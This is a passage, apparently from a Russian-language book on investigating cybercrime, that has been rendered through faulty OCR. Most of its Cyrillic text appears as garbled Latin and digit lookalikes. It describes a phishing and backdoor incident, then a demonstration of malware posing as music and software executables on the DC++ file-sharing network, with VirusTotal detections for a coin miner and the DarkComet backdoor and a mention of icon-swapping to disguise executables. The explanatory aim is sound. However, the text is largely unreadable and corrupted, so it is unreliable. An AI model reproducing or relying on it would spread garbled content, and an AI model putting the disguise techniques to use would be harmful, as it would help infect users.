KOMOVHMPOBAHHOM aTaKMu.

[Tnanom «b» 6bUT 3a6pOC BpeIOHOCHO ITPOrpaMMBbl Yepe3 3JIEKTPOHHYIO
IIOUTY B pesy/bTaTe (GUINMHIOBOJ aTaku. Hebosbimoit coop nHDopMamn
TO3BOJIMAJT 37I0YMBIIIIJIEHHMKAM YCTaHOBUTb KPYT BO3MOXKHbIX ITapTHEPOB
opraHM3alyu M HalpaBjieHue fesTelbHOCTU. Ha ocHOBe cOOpaHHOI MH-
dopmatiny 66110 ITOATOTOBIEHO (QUIIMHIOBOE MMCbMO OT HEKOETo MapTHe-
pa, cozmepskailiee BOKeHHbIe (aiiibl IKoObI B opmaTe Microsoft Word.

CrenyloliMM 3TalloM CTaJu MPOHMKHOBEHME B OIMepalyOHHYIO
CUCTEMY, M3y4yeHre 06CTaHOBKM, pa3MellleHe Ha KOMITbIOTepe JKePTBbI
BCIIOMOTaTeIbHbIX BPEJOHOCHBIX ITPOTPAMM, IMO3BOJISIONIMX Gosee
KOMGOPTHO YyBCTBOBATh cebOsl BO B3JIOMaHHOI cucTeMe.

Ha coBepilieHre HelIpaBOMEPHOTO JOCTYIa K KOMITbIOTEPHOI MH-
dbopmaiu, HaxonsIeicss Ha MpeACTaBJIeHHOM [IJisl MCCeqOBaHMSs CH-
CTeMHOM 0JjI0Ke, YKa3bIBaeT HajJau4Me BPeIOHOCHOJ KOMIIbIOTEPHOI
MIpOTpaMMbl, 06J1aaonei GyHKIMOHATbHBIMM BO3MOXKHOCTSIMY, BKITIO-
YaIoNIMMM B ce6sI HeCaHKIIMOHMPOBAHHOE YHUUTOXEeHME, 6IIOKMPOBaHMeE,
MoaudbuKaluio, KOMpoBaHe KOMITbIOTepHON MH(opMalum, a Takxke
NpelocTaBeHNe yaaJeHHOTO NOCTyIa OCPeACTBOM ceTu MHTepHer.

B pe3ynbTaTe BOCCTAaHOBJIEHMS M aHa/M3a yAaJeHHbIX JaHHbIX (aii-
JIOB BBISIBJIEHO, 4TO B nupekTopum «C:\Documents and Settings\user\
Application Data\AdobeTemp» HaxoAMINUCH UCIIOTHSIeMbIe (aiiibl U pe-
3yJIbTAThl MCIIOJIHEHMS IIPOTPAaMMHOTO obecriedeHust «TeamViewer»,
rpeJlHa3HauUeHHOTO /IS YAAJIeHHOTO AOCTYyIIa K OTepalyoHHO C1UCTeMe.
Heo6xoayMo TaKsKe 3aMeTUTb, UTO IUPEKTOPHS, B KOTOPOIi OOHAPY>KEHBI
(daiinbpl mporpamMMbl, He TipeiHa3HaYeHa JJ1s1 XpaHeHMs] YKa3aHHbBIX TaH-
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HBIX, KOMIMPOBaHNE UX B JAHHYIO IMPEKTOPUIO U MOCIeAyIoLIMe yaaie-
HUSI MOTJIM OBITh TaK)Ke OCYIIeCTBJIEHbI B pe3y/IbTaTe HeIpaBOMEPHOTO
IOCTYyIIa, COBEPLIEHHOTO MOCPeACcTBOM ceTu VIHTepHer.

IToMMMO 3TOr0, 3aIMCH KYPHAJIOB COOBITHIA OITePaLIIOHHO CUCTEMBbI
comepkaT MHGOpPMAIMI0 O MHOTOUYMCIEHHBIX MOIBITKAX COedMHeHNs
MporpaMMHOro obecreyeHusl, UCIIOIb3YIOIIero MPOTOKO/ YAaJeHHOTO
pabouero CTosa, OCyIeCTB/ISIEMbIX B THEBHbIE ¥ HOUHbBIE YACHI.

Kak BMAHO M3 aHa/M3a NMPUBELEHHOTO MHIMUAEHTA, KOMITMIISLMS
nporpaMmbl 6bl1a ocymectsiaeHa 16.10.2015 B 06:08:13, mocie yero
3JIOYMbIIIJIEHHMKOM IIpoBefieHa IpoBepka B 07:57:04. Ha MmoMeHT 1iep-
BUYHOI IPOBEPKM JaHHAs MporpaMMa aHTMBUPYCHBIM ITPOTrPaMMHBIM
obecrieueHreM KaK BpPedOHOCHAasl He olpenessiiach. OUIIMHT-aTaka
6bp1a ocyiecTsieHa Takke 16.10.2015 B 11:35:07, u B 9TOT Xe IeHb
66110 chopMUPOBAHO MOIIIEHHNYECKOE TIIaTeXXHOe TTopyueHne. OpraHm-
3auyst ooHapyskuiaa mHiyaeHT 20.10.2015, moromy Kak 16.10 — 910 66112
MSTHUIIA, a B moHeaeabHMK 19.10.2015 ob6paTuiay BHMMaHMe TOJIbKO Ha
HEMCIPaBHOCTb KOMIIbIOTEPA.

Ha MOMEHT OCO3HaHMSI ITPOM3OIIeINIero MHIUAEHTa ¥ 0OpaneHus
B [IPAaBOOXPaHUTEbHbIE OPTraHbl IOXUIEHHbIE JeHeKHbIE CPELICTBA YIKe
ObLIM OOHAIMUYEHbI B OAHKOMATax Ha IIPOCTOPaxX pas/IMUYHbIX PETVIOHOB
CTpaHBbI.

HoBas Bepcusi BpeJOHOCHO MPOTPaMMBI ellle He BHECEHA B aHTUBU-
pycHblIe 6a3bl JaHHBIX, @ CEpPBEPbI, TOCPEICTBOM KOTOPBIX OCYII€CTBISIeTCS
pacchbiika (PUIIMHTOBBIX COOOIIeHM, ellje He BHECEHbI B UepHbIe CITMCKM.

Heob6xomumo 06paTuTh BHMMAaHME Ha TO, YTO MCITOIb3yeMble TPy (-
LIMHT-aTaKe pecypchbl M BpeLOHOCHbBIE TPOrPaMMbl HEKOTOPOE BpeMsI He
IeTeKTUPYIOTCSI O0MbIIMHCTBOM 3alUTHBIX CUCTeM. M Ha mepemoBoOii
OCTaeTCs TOJIbKO M0JIb30BaTe/ b, OT KOMIIETEHTHOCTY ¥ BHMMATEIbHOCTU
KOTOPOTO 3aBUCUT YCIIEITHOCTb ITPOBOAVMOI aTaKu.

3arycTuB BpeIOHOCHYIO MPOTrpaMmy — 03KA0p, M0Jib30BaTe/b MPO-
IOJIKAeT CBOM OOBbIUHbBIE OIepalii, B TO BpeMs KaK B CKPBITOM PeKIMe
69KI0p «OTCTYKMBAETCS XO3SMHY», KOTOPbIi YK€ OCYIIeCTBIISIET MO/ -
K/IIOYeHMe, IPOBOAUT U3yUYeHMe COAEPKMMOro KOMITbIOTEPA U CETEBOTO
OKpY>KeHMsI, Ha OCHOBE KOTOPOTO IIPMHMMAET pelleHye 06 ocyiiecTsie-
HUM JajJbHelien aTaku.

Mmes ymasieHHbI OOCTYI, OTKPBITHIN MOCPeNCTBOM (GUIIMHTA U 63K-
mopa, 3JIOYMBIIIJIEHHUK MOXEeT OCYIIEeCTBJISITh J06ble olepauyu Ha
KOMIIbIOTEpE: KOMMPOBaTh, 3arPyKaTh, YCTAHABAMBATH HEOOXOIVIMbIE
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rporpaMmbl U aiisibl, yaaasiTh 3aMMCH SKyPHAIOB CleXeHUsI, OTK/II0YaTh
aHTUBUPYCHBIE TIPOTPAMMBI.

OT pacchUIKy HOBOV BPeJOHOCHOV MMPOrpaMMbl O ee IeTeKTUPOBa-
HMS (pacro3HaBaHMSI) MOXKeT IMPOMTU 10 HeCKOJIbKUX HEeN, B TeueHue
KOTOPBIX 3JIOYMBIIIJIEHHUKY OYAYT MOMy4YaTh yIpaBjieHe GUHAHCOBbI-
MU OIlepauyusIMyM Ha KOMITbIOTepax KOMMepUYeCKMUX OpraHu3anni.

[Tocsie mepBOJi BOJTHBI BPeIOHOCHAS ITPOTpaMMa OOBIYHO CITYCKaeTCst
HIDKe (TIpoJaeTcs), U uepe3 HEeKOTOpoe BpeMs CJIeAyIoT b6ojiee mMesKue
BOJIHBI KMOepaTak, JkepTBaMy KOTOPhIX CTAHOBSITCSI JIMIITh T€ OpraHu3anymn
¥ TI0JTb30BaTe/ I, KOTOpbIe IIpeHeOperaT aHTUBUPYCHBIM IIPOTPAMMHBIM
obecrnieueHueM. [Tepemaua BpeJOHOCHOJ ITPOTpaMMbI B ITOJIb30BaHME APY-
rOJ MPeCTYITHOV IPYIIIe IT03BOJIsIeT OpraHmu3aTopam myTaThb CIel,.

Kak BMIHO 13 IpMBENEHHbIX NIPUMEPOB, HECJIO)KHOE U BOBpeMsI IIpoBe-
IeHHOe TEXHNYECKOe VICC/Ie0BaHNe KOMITBIOTEPHOTO 000PYIOBAHMSI MOSKET
CYILIeCTBEHHO 00JIerYMTD ajIbHelilee pacciaenoBaHye YyroJIOBHOTO Jiefa.

Mcnonb30BaHyue GUIIMHTOBOM pacChbUIKM 71T 3a6poca BpelOHOCHbIX
MPOTrpaMMm — 3TO JOBOJBHO PAaCIIPOCTPaHEHHAs CUTYyaLVS.

I[Tpu 3TOM co3naHme 63KI0POB pacpoCTpaHeHOo CTOJIb IINPOKO 6J1aro-
mapsi 60JbIIOMY KOJIMUECTBY IPOTPAMMHBIX ITPOAYKTOB, ITO3BOJISIOIINX
HeCTelnMaJiCTy B aBTOMaTUUeCKOM peXyMe JiejiaThb U3 OObIYHBIX ITPO-
rpamMM oracHoe opyxkue. [Togo6HbIe MHCTPYMEHTBI BXOJSIT B COCTaB I10-
MyJISIPHBIX COOPHMKOB, TakuX Kak BlackArch Linux!, Kali Linux?.

[TepeyncasiTh M aHAJIM3UPOBATh MHCTPYMEHTBI, MPOAYKThI B TaHHO
KHUTEe MbI He OyJieM, TOTOMY KakK I1eJib KHUTY MHasl. 310eCh T0CTaTOUHO
yKasaTh, YTO MOJOOHOTO poja MHCTPYMEHTOB JTOBOJIBHO MHOTO, M OHU
TTO3BOJISTIOT TTIOYYBCTBOBATDh Ce0ST HACTOSIIIMM XaKepoM JII060T0 MoJb30-
BaTes NMepCOHAJIbHOTO KOMIIbIOTEPA, NMPOYMUTABILEr0 CTaThO, CKaYaB-
IIIer0 ¥ YCTAaHOBUBIIIETO cebe IUCTPUOYTUB.

2.3. Ataka ¢ MCnoab3oBaHUEM MaCKUPOBKHU

noa neranbHoe nporpaMMHoe obecneyeHune
unu ¢annol

KuHouHIyCcTpust 1OBONMbHO 3(PdeKTHO MOoKa3bIiBaeT MOMEHTHI B3JIOMOB
M BHeJpeHMe pa3JIMUHOrO pojia KOMIbIOTEPHBIX BUPYCOB B CUCTEMBI

L https://blackarch.org/.
2 https://www.kali.org/.


https://blackarch.org/
https://www.kali.org/
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" CeTu, IO3TOMY B OOII[eCTBEHHOM CO3HaHUM cHOPMUPOBAJICS CTEpPEO-
TUIT YEr0-TO HEBEPOSITHO TEXHOJOTUYECKM CJIOKHOTO, TBOPSIIErocss Ha
(doHe yepHOTro 5KpaHa.

Bel11e GbIIO ITPOIEMOHCTPUPOBAHO, KaK ITPOMCXOAUT OCHOBHAS Macca
B3JIOMOB 3JIEKTPOHHBIX [TOYTOBBIX SUIMKOB U IPYTUX OHJIaliH-aKKayHTOB
U KaK OCYLLIECTBIISIeTCS HeIIpaBOMEPHbIN JOCTYII K yAaJIeHHbIM KOMIIbIO-
TepaM OpraHMU3aLuIiA.

Teriepb Ha HECKOJIbBKUX IIpUMepax Mpenjaraercs pacCMOTPETbh, KakK
BBIIVISIAVUT OCHOBHAS Macca B3JIOMOB U 3apaskeHMi1 OOBIYHBIX JOMAIITHUX
0JIb30BATEIbCKNX KOMITBIOTEPOB.

[l Havasia HalimeMm 3710yMbILIJIEHHMKA, OCYIIeCTBISIOIero GuIImHr-
aTaky IMyTeM IoAMeHbI (paiiyioB C MCITOIb30BaHMEM CBOMX COOCTBEHHBIX
pecypcos.

MHore Moab30BaTeNM CTATKUBAINUCH C HEOOXOIMMOCTbIO UTO-JINMOO
cKayvaThb — JipaiiBep, My3bIKY, M300pakeHe, KHUTY, PUIbM, ITIpOrpaMmy
u gpyroe. B ceTu pjs 3TONM uenu WMPOKO ucnonbsyercss DC++, nmpen-
CTaBJISTIONIMI CO00J CBOOOAHBIN M OTKPBITHIN KIMEHT (haiilo00MeHHOI
cetu Direct Connect!.

ToBOPSI MTPOCTHIM SI3BIKOM, ITPOTPAMMBbI Ij1sT paboThbl ¢ DC++ ckaunBa-
IOTCS1 M YCTAHABJIMBAIOTCS MTOIb30BATEISIMM Ha CBOM KOMITBIOTEPbI, [IOC/Ie
Yyero OCyIIeCTBJISIETCST TTOAK/IIOUEeHe K Xaby min xabam, BbIOVMpaeMbIM
U3 CIIMCKA JOCTYITHBIX.

s obmeHa daitmamu ¢ IpyruMu skutenssmu ViHTepHeTa mojb30Ba-
TeJIb OTIpeiesisieT MaTKy Wiy ¢Qaiiibl, KOTOpble OYIYyT MOCTYITHBI IJ151 BCEX,
OHM aBTOMAaTUUYECKU MHAEKCUPYIOTCS U CTAHOBSTCS AOCTYITHBIMU IIPU
TOMCKe T10 Ha3BaHMIO (M He TOJbKO) BCEM, KTO TaKKe UCIO/Ib3yeT TaKue
MporpaMMbl U TIOAK/IIOUEH K COOTBETCTBYIOIIMM Xabam?.

Ins manpHeliien 1eMOHCTPalMM aBTOP BBIHY>KAEHHO OTKJIIOYaeT
QHTUBUPYCHYIO 3aIIUTY, YTOOBI He Mellaa.

[Tpearionoxkum, 4TO MbI UIIEM YTO-HMUOYAb, HATIpUMep MecHI0 «Scor-
pions», BBOAMM B IIOMCKOBO€ OKHO ITporpammbl DC++ cJ10BO 1 HaOIII0-
naeM pesynbTaThl (CM. puc. 2.9). Cpenu pe3yabTaTOB MOKHO HANTH,
Hampumep, Takoii daiin: «Scorpions Acoustica [live] (2001) mp3 (Music) —
Download.exe».

L https://ru.wikipedia.org/wiki/Direct_Connect.

2 ABTOp 00s13aH MPU3BaTh HE MCIOIb30BaTh (HailIOOOMEHHBIX MTPOTPAMM U APYTUX
pPecypcoB [jisi HE3aKOHHOT'O PacIpOCTPaHEeHNMsI ¥ KOTIMPOBaHMSI MaTep1aios, Hapy-
IHIAIOIVX aBTOPCKME TIpaBa.
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= Michael Schenker Group - Be Aware Of Scorpions - Front.jpg ipa 296,36 KB MuzikaiS\Soarpi
= scorpionscan_Arielle_Kebbel3_101804.jp o FNB04KE  MulimediatFhatd
| UMKl Scorpions Lair sff 2 0zepsl sff 3BEA3KE Games\M U GE
= 00_scaorpions-classic_bites-2002-b-amrc.jpg irg 384,37 KB Muzika\ShSearpi
|i=| Michael Schenker Group - Be Aware Of Scorpions - Back.jpg jpa 464,21 KB Muzikah3\Soorpi
4 Scorpions - Always Somewhere [3.1)mp3 3 Wsepsi mp3 505,63 KB Mysbica Ghiyad
= 12-scompions-humanity (2] mp3 3 3sepbl mp3 F3B92KE  Muysbmka GiMyze
/= scorpionscan_Arielle_Kebbeld 101804.jpg ira B80,13KE  Multimedis\Phate
= Scurpmns black [2015).exe 5 I0zepe! KE D E\

d Blackout Live [n 30 [2015].exe

Muslc\Ringlones
Pusic. HIW+AS oo

(e
= Scorplons varobew.mp?
=] Cover Frontjpg 210zepe1

o

=] fantary_Scorpions - Huricane.mp3 [Muzik ][t wsic]
57 Scarpions Get Your Sting And Blackaut Live In 3D [2017).exs wiapah

[ S carpions - Comeblack [2017).exe wapat

=] scorpions - wind of change.mp3 210zepel ALLintMusichpaz
= Scorpions - The Best Ballads 2010.exe uploadsSoftware)
27 Scorpions exe uploadshusich
= Scorpions - The Best Ballads 2010 exe uploadsMusich
= Scarpions.exe uploadsSoftware)
=] Scorpions - YWorld Wide Live 1985 (2007 Rem. exe uploadsh usich

Puc. 2.9. Pesynsmam noucka 8 npoepamme DC++

B 60/bIIIOM KOJIMYECTBE BbIJaBaeMbIX Pe3Yy/IbTaTOB, JOCTYITHBIX IJIsI
3arpys3ku (¢aitjioB, He3aMeTHO MPUCYTCTBYIOT (aibl ¢ MCKOMBIM Ha-
3BaHMEM, HO MMeWII}e paclliMpeHne «.exe», TO eCTb pacliMpeHue Mc-
TOJIHsIeMOro (aiia — IMporpaMmal [IJIs1 OIlepalMOHHbIX cucTeM MS.

3mech paboTaeT TOT ke MeXaHM3M, UTO M C IOJAMEHOI JOMEeHHBIX
MMeH O(PUIMaTbHBIX TOUYTOBBIX UM OPYTUX CEPBUCOB, pACCMOTPEHHbBI
B Ipeabiaymnx yactsax. CpegHeCcTaTUCTUYeCKNUi MOAb30BaTelb PegKo
obpalaetT BHMMaHMe Ha pacIlMpeHus U pasMepsl (aiiyios.

Bonbliiioe 3HaUeHMe [IJ1S1 TT0Ib30BaTesIsl UMelOT HauMeHoBaHMe (aiiia
IO pacIIMpeHus U 3HAUOK, YKa3bIBAIOILIMI IIPUBS3KY K [IpOrpamMme, IIpu
TTOMOIIY KOTOPO¥i (aiia 6ymeT OTKpbIBAaThCsl. 3HAUOK Ha daiiie rmoame-
HSIET MOHSITUE Tua gaiina.

[Tocne ckaunBaHMs Takoi ¢aii B Marke MPOBOJHMKA OYIEeT BbIT/IS-
IeThb KaK CaMblil HACTOSIIVI MY3bIKaJIbHBIN (puc. 2.10).

| HoBan nanka

‘@\ )v - Komnetotep = T2_REZ (F:) = DC_download » Hosas nanka

¥nopRaounte ¥ JofaenTe B OWOnuoTeky ¥ Ofwmd goctyn v HoBad nanka

- M=zBpanHoe
J) 3arpyskH
LL'_; HeaagHHe mecTa J)
Bl Patoumi cTon MEY
-l BHbmmoTeRk Scorpions.
Aicoustica [live]
E Braso (2001Y mp3 (Music)
j JoKYHEHTEI - Download

Puc. 2.10. ®aiin ¢ pacwiupeHuem «.exe» 8 nanke NPoBOOHUKA
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MeTon oTo6pakeHus (aiiyioB, 10 YMOJUaHUIO YCTAHOBJIEHHbIN B OrIe-
palMOHHBIX cucTeMax Microsoft, He BK/IlouaeT 0ToGpakeHMs pacuimpe-
Hus daiina. [To KaKMM COOOPAKEHUSIM 3TO CIeIaHO — CYAUTDb JOBOJIbHO
TPYIHO.

«Cmenath» BU3yaJIbHO M3 UCIIOJTHMMOTO (pajiiyia JIr060it Apyroi TUIl
IyTeM 3aMeHbl MKOHKM (aiisia oueHb JIeTKO, UCII0/Ib3Ys JOCTYITHbIE MPO-
rpaMMbl, TaK Ha3bIBaeMble YTUJIUTBI WM PeJaKTOPbl PeCypCcoB, HAIIPU-
Mmep Restorator Resource Editor, XNResourceEditor u MmHOrue npyrue.
OTUM HepeaKo U MOJIb3YIOTCS MPYU COBEPILIEHUM aTakK, CBSI3aHHBIX C MacC-
KMPOBKOJ BPeIOHOCHOJ IIPOrpaMMbl IO, JieTaIbHbIN (aii.

B camoMm Hauvaje 6erjoro aHanauM3a HAWIEHHBIX M 3arpy’KeHHBIX
nocpenctsom DC++ ¢aityioB 3arpysMm ux OJjsi IIPOBEPKM Ha pecypc
virustotal.com.

B nepBom ciyuae «VirusTotal» coobmmn Ham, uTo 21 U3 66 aHTHU-
BUPYCHBIX CUCTeM MpM3HaAa B 3arpykeHHOM (aiiie «3710», U 3TO 3JI0
siByIsieTcsl pa3HoBMUAHOCTHIO Trojan.BAT.BitCoinMiner (puc. 2.11).

'_ok 21 engines detected this file o
o SHA-256 018a536bec79:h4b937a3886650,875808a68907281409fa79272391 b2e0abia
#:1 Filename Scorpions. Acoustica [live] (2001ymp3 (Music) - Download.exe
Filesize 32683 KB
Lastanalysis  2017-10-14 13:04:44 UTC
Detection Details Community
Antiy-AVL A Trojan/BAT.BitCainMiner Avast A Win32:Malware-gen
AVG A Win32:Malware-gen Avira A TR/Dropper.Gen
Baidu A Win32 Trojan.WisdomEyes, 16070401 ... CAT-QuickHeal A Trojan BAT
CrowdStrike Falcon A malicious_confidence_90% (D} Drweb A VBS.5tarter.84
eGambit A malicious_confidence_gs3 Endgame A malicious thigh confidence)
ESET-NOD32 A BATCoinMiner Py Fortinet A BATCoinMinermni
lkarus A Trojan.BAT.CoinMiner Kaspersky A Trojan BAT.BitCoinMiner.dg
McAfee-GW-Edition A Behavesl ikeWwin32.Dropperfc Microsoft A TrojanWin32/Tiggrelrfn
NANO-Antivirus A Trojan.ScriptMLW.ebogyu Qihoo-360 A HEUR/(¥M10.1.7FDC.Malwara.Gen
SentinelOne A s=tic engine - malicious Sophos ML A heuristic
ZoneAlarm A Trojan.BAT.BitCoinMiner.dg Ad-Aware O Clean
AegisLab 0 Clean AhnLab-v¥3 Q Clean
AlYac o Clean Arcabit o Clean
Avast Mobile Security 0 Clean Avware 0 Clean

Puc. 2.11. Pe3ynsmam nposepku ¢atina Ha pecypce virustotal.com


http://virustotal.com
http://virustotal.com
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OTO He COBCEM TO, UTO XOTeJI0Ch MPOJAEMOHCTPUPOBATD, HO TOXKE J0-
CTOVHO BHMMaHMsI. Habmogaomasics: B ocieqHe THU TTOBCEMeCTHas
UCTEePUST BOKPYT KPUIITOBAIIOTHBIX JEeHer INpUBJIeKaeT BHUMaHME He
TOJIbKO T€X, KTO MEUTAEeT BO UTO ObI TO HU CTaJIO 3apaboTaTh MHOTO Jier-
KX KPUIITOJIEHET B MOIMBITKAX UX CO3JaHMsI, HO ¥ KMOepITpeCcTyITHUKOB,
KaK BCer/a >KeJalolxX YKPacTb UTO-HMOYIb OTKYIa-HUOYIb.

JIOBOJIPHO [aBHO MOSIBUJIMCH Pa3HOBUIHOCTU BPELOHOCHBIX ITPO-
rpaMM, IpeJHa3HauYeHHbBIX [IJIS1 XUIIEHUS C 3apayKeHHBIX KOMITbIOTEPOB
10JIb30BaTesiei UxX 3JIeKTPOHHbBIX KOIIeJIbKOB, B ToM uncie BitCoin. Cka-
YaHHBIV I0J, BUAOM MY3bIKaJIbHOIO IpOU3BeNeHMs BpedoHoc Trojan.
BAT.BitCoinMiner oTHOCUTCS yke K 6ojiee HOBBIM BapuMaHTaM Bpeno-
HOCHBIX MIPOrpaMM, KOTOpbIe HalieJeHbl Ha KPaXXy BbIUMCIUTETbHBIX
MOIIIHOCTE 3apaskeHHbIX KOMITbIOTEPOB.

I pyroii ckayaHHBIN «MYy3bIKaJIbHbIN» (aiia OblI JeTEKTUPOBAH KaK
Backdoor.Win32.DarkKomet!, mpeacraBisiomuii co60ii BpegoHOCHYIO
MporpamMmy, IpegHa3sHAYeHHYIO AJ151 YOaJIeHHOTO YIIpaBJIeHus WUau af-
MUHUCTPUPOBAHMS KOMITbIOTEpa (puc. 2.12).

Paiin

FADC_download\Scorpions Get Your Sting And
Blackout Live In 3D (2015).exe

Bpemn
Cerognn, 14.10.2017 19:44

Hazeanue obwexta
BackdoorWin32 DarkKomet.aagr

Puc. 2.12. Pesynemam nposepku ¢aiina
Ha pecypce virustotal.com

IaHHbBI BUPYC ObUT pacrio3HaH 59 n3 66 aHTUBMPYCHBIX MTPOIYKTOB,
" HY’KHO YIIOMSIHYTb, UTO 3TO OUeHb APeBHSIS MoaAuduUKaIus BpeqoHOC-
HOJi IIPOTpaMMbl, TO3TOMY OHA M3BEeCTHA IPAaKTUYeCKM BCEM CpeICcTBaAM
6e30IacHOCTM.

[Tpu ncronb30BaHMM LieJeHapaBJIeHHON aTaky MPUMEHSIOTCST Bpe-
IOHOCHBbIE MIPOTPaMMbl, He OIlpefesisieMble MPaKTUUeCKM HUKAKUMU

L https://threats.kaspersky.com/ru/threat/Backdoor.Win32.DarkKomety.


http://virustotal.com
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CpeICcTBaMM 3allUThl, M3-3a TOTO YTO UX BEPCUM He BHECEHBI ellle HU
B OJIHY 6a3y. He caMbIii MHTepeCHBIIi IIpUMep, IO3TOMY ITOIIpoOyeM Haii-
TU JIJISI J€MOHCTpaLMy ellle YTO-HMUOYIb MHTEepecHoe.

BHeceM B mmouck nporpammMbl DC++ ¢JIOBO «programy», Kak OyATO Ham
HY>KHO UTO-TO M3 IMPOTpaMM, 1 BHECEM CJI0BO «IIMPaThl», KaK OYATO MbI
XOTMM HaMTU UTO-TMO0 IO 3TOV TeMaTUKe.

[Touck BbIAA CIMCOK, COAEPIKAIMIA MPOTpaMMy € TPOMKMM Ha3BaHU-
eM «[Program for hacking any Website] + Crack (RUS + Multi) working
version (2017) — Download.exe» u daitn «IIupatel Kapubckoro mops 5
HD 2017.exe».

[TepBoe, YTO HEOOXOAMMO ITOKA3aTh, — UTO He BCE aHTUBUPYCHbIE TTPO-
rpaMMbl JeTeKTUPYIOT yrpo3y. UTOObI 3TO MPOAeMOHCTPUPOBATh, MbI,
KakK ¥ paHee, 3arpy3MM Halll 3JI0BpeAHbIii daiia OJis aHanM3a Ha pecypc
https.//www.virustotal.com.

[Tocie mpoBegeHHOTO aHaaM3a BUIHO, UTO 25 M3 66 aHTUBUPYCHBIX
CUCTEM pacIlO3HAIM YIPO3Y, XOTS OHA Ja’ke Ha HEeBOOPY>XEHHBII I71a3
OYeBUIHA.

3mechb CO3HATE/IbHO He OyAeT MPUBOAUTHCS CHMCOK aHTUBUPYCHBIX
MIPOJYKTOB, KOTOPbIE aBTOMATUUECKU OINpeAenniu, a Kakue IpomonJa-
. CBSI3aHO 3TO HE C Te€M, YTO KAKOW-TO MPOAYKT JIyyllle, a KaKOh-TO
Xy’Ke, 3TO MPOCTO CTeueHe 00CTOSITeNbCTB, CBSI3aHHOE C MOMEHTOM I10-
najaHus KOHKPETHOTO BPeOHOCHOTO MPOoAYyKTa B 6a3y aHTUBUPYCHOI
CUCTEMBI.

Tak BOT, 3arpy>keHHbIlt (aitn [Program for hacking any Website] +
Crack (RUS + Multi) working version (2017) — Download.exe, KoHeuHO, He
SIBJIIETCS HMKAKOJ YTUIUTOI JIJIST B3JIOMA CAMTOB, 9TO OOBIKHOBEHHbI
03KI0op ¢ 6poCKUM Has3BaHMeM (aiiia.

ITpoBepka ¢aitna «I[Impater Kapmubekoro mopst 5 HD 2017.exe» mo-
Kasana (puc. 2.13), uto 59 U3 66 aHTUBUPYCHBIX CUCTEM pPaCIIO3HAU
69KI0p, HO CBSI3aHO 3TO JIUIIIb C TEM, KAK 0KA3aJI0Ch, YTO KOMITUJISIIIVS
ero ObLJa ocyllecTBjieHa eme B uioHe 2012 roma, To eCTh caM BPeIOHOC
HEBEPOSITHO IPEBHMUIA.

Pb16ak, MCITOb3YIONIMII 3TOT 06pas3er MporpamMMsbl i GuIIMHTa,
IIPOCTO MeHsleT Ha3BaHue (aiiia, cemysl CTaTUCTUKe (PeATUHTY) IOMC-
KOBBIX 3aIlpOCOB I0JIb30BaTe/el, Jake He YOOCY>KMBasICh Mepeyrnako-
BaTh BpenoHoc. OH, MOJ0OHO CTapUKYy, MCITO/Ib3yeT MOTPellaHHbIe CeTH,
HO BCe-Taky SIBJSETCS KMOepnpecTyIMTHUKOM, UCIIOAb3YIOMUM (QUILINHT
B HaJlexke Ha TO, UYTO B CeTU MOKeT IMOMacTbCs 30JI0Tast pbiOKa...
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I_O\ 59 engines detected this file o
O, SHA256 31502665887 ca58c30198h fcd957f542d053320 b3e1619d3
EX| File name QUNGAOL DREIG LINC60LDRgNCA0LHREACE0L 7 Q59C+INCEOL 7RgNG PIDUgSEQEIDIWM TELZXhi2=
File size 65851 KB

Lastanalysis  2017-10-14 07:13:00 UTE

Detection Details Behaviar Community
Ad-Aware A\ GeniTrojan Heur PKI GrkTRLAIS AegisLab A\ Backdoor w32 DarkKomet.tneT
AhnlLab-v3 A Backdoor/ Win32 Graybird R33420 Antiy-AVL A Trojan[Backdoor]/Win32 DarkKomet
Arcabit A Trojan Heur EDI568 Avast A MSIL:GenMalicious-CHX [Tr]
AVG A VsILGentaliciousCHX [Tr) Avira A\ pos/ackdoorGen
Avware A\ Backdoorwina2 FynloskiA (1) Baidu A\ win3zBackdooragent
BitDefender A\ GeniTrojan Heur PKT GrkTRLAIS Bkav A vi32.Darkkometi Trojan
CAT-QuickHeal A Backdoor Fynloski.AS ClamAv A Win. Trojan.DarkKomet-1
Comodo A\ Backdoorwin32 Agent xaB CrowdStrike Falcon A\ malicious_confidence_100% (D)
Cylance A vnsate Cyren A\ ¥32/Dovwnloader.C.geniEldorade
Drweb A BackDoor Tardew. eGambit A malicious_confidence_99%
Emsisoft A Genddrojan Heur PK1 @ KTRLAJS (B) Endgame A malicious (high comfidencs)
eScan A GenTrojan HeurPKI @rkTRLAJS ESET-NOD32 A wins2/FymioskiAm
F-Prot A w32/pownloader € genEldorado F-Secure A\ GenTrojan HeurPKI@IKTRLAS
Fortinet A\ Wa2Darkkomet IDHrbdr GData A\ win32 BackdoorFynloski F

Puc. 2.13. Pesynsmam npogepku ¢aiina Ha pecypce virustotal.com

MumosieTHBIN aHa/I3 BpeJOHOCHOTO (ajisia mpy MOMOIIM pecypca Vi-
rustotal.com ro3BossieT onpenenuTb cepBep nepegaun JAaHHBIX U CEpBeP
3JI0yMBbILJIEHHMKA (puUc. 2.14).

Puc. 2.14. OnpedeneHue cepgepa npu aHanu3e 8pedoHoCH020 galina
Ha pecypce virustotal.com

[Tpomosiskast 3Ty TeMy, MOXKHO YIIOMSIHYTb, YTO €CTb ITPOCTOV CKPUIIT,
KOTOpBIi COOMpPaeT CTaTUCTUKY CaMbIX ITOITYJISIPHBIX TOMCKOBBIX 3aIPO-
COB, BBOAMMbBIX IT0JIb30BaTeISIMU TIpU MoucKe (aiiios, U B aBTOMaTuye-


http://virustotal.com
http://virustotal.com
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CKOM pexxuMe co3aeT (aiiabl C TaAKUMM MMeHaMM B OTKPBITOM IOCTYIIe

3JIOYMbIIIIJIEHHMKA.

Bot nipumep daitnoB (puc. 2.15), BbICTaBJIe€HHbIX OIS pas3aaui MMojb-
30BaTeJISIM CETU OTHMM TaKMM PbIOAKOM-TI00MTENIeM:

B-
B} DCH
I Anime:
i), Fims
|, Game
J1 Gamonli
bl Mulk
I Music
by, Serial
Il soft
i =
L) xex

Puc. 2.16. Jupekmopuu
none308amens cemu DC++

Dain | Tun | Pasvep | TTH enioy |
[m]Schwarzbund-von der Suche nach Warme und Licht (2012) mp3 (Music) - Dovnload, exe Exe 326,86 K6 KMAAZITCMGROWNILHFWOCHMPS, ,,
[ Scissor Sisters-Magic Hour (20123 mp3 (Music) - Download exe exe 326,67 KB IMNRTYSKWYHRZXFQCEIFNATACFZ. .,
[ scissor Siskers-Might Work (20103 mp3 (Music) - Download.exe Bxe 326,84 KB  MBLDVXIB4KBIGRRNYMS:DZKTEWYF. ..
